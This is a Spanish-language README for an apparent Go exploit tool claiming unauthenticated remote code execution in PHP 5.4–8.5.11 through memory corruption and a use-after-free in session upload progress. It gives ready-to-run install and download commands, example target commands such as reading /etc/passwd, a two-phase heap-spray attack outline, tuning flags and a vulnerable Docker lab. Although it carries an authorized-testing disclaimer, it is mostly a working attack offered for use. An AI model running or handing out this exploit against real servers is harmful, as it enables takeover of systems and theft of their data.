
[PHP2Shell] Exploit en Golang para CVE-2026-109618 / CVE-2026-109619: RCE no autenticado en PHP 5.4–8.5.11 mediante corrupción OOM + UAF en session.upload_progress
Ejecución remota de código no autenticada en PHP 5.4.0 – 8.5.11 (todos los servidores web).
CVSS 9.2 Crítico · Parcheado 2026-10-21 · CISA KEV 2026-10-26
Solo para pruebas de seguridad autorizadas — en sistemas de su propiedad o para los que tenga permiso escrito explícito de prueba.
go install (la más rápida, requiere Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
¿No tienes Go instalado? Instálalo en 30 segundos:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
Los binarios precompilados se adjuntan a cada GitHub Release.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
Los binarios se compilan automáticamente mediante GitHub Actions cuando se publica una nueva etiqueta.
Sicurldevuelve un archivo diminuto que dice "Not found", aún no existe ninguna versión — usa la Opción A en su lugar.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHP tiene dos errores críticos de seguridad de memoria desencadenados por solicitudes HTTP POST multipart/form-data manipuladas:
| CVE | Tipo | Disparador |
|---|---|---|
| CVE-2026-109618 | Corrupción de memoria (OOM) | Campos multipart grandes agotan memory_limit a mitad del análisis, longjmp() se dispara sobre un estado parcialmente inicializado |
| CVE-2026-109619 | Use-after-free | El campo PHP_SESSION_UPLOAD_PROGRESS lee memoria liberada de un worker de una solicitud anterior |
Ninguno de los errores requiere inicio de sesión, un endpoint especial ni código de aplicación alguno — se disparan dentro del motor de PHP antes de que se ejecute cualquier script .php.
Consulte docs/vulnerability.md para el desglose técnico completo con solicitudes HTTP anotadas.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| Flag | Predeterminado | Descripción |
|---|---|---|
-target | obligatorio | URL base, p. ej. http://192.168.1.10 |
-path | /index.php | Ruta del endpoint PHP |
-cmd | id | Comando del SO a ejecutar |
-mode | auto | auto / modphp / fpm |
-workers | 8 | Slots de worker para el spray |
-oom-parts | 30 | Campos multipart en la Fase 1 |
-part-size | 204800 | Bytes por campo (200 KB) |
-spray-size | 131072 | Tamaño del heap spray (128 KB) |
-timeout | 15s | Tiempo de espera por petición |
-verbose | false | Imprime el cuerpo de la respuesta sin procesar |
-leak-only | false | Solo fuga de memoria (análisis de ASLR) |
| Rama | Última vulnerable | Corregida en |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | todas | sin parche upstream — use el backport de la distro |
El directorio sandbox/ contiene un objetivo vulnerable listo para usar (PHP 8.4.26 + Apache mod_php) con la configuración predeterminada que expone ambos CVE.
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only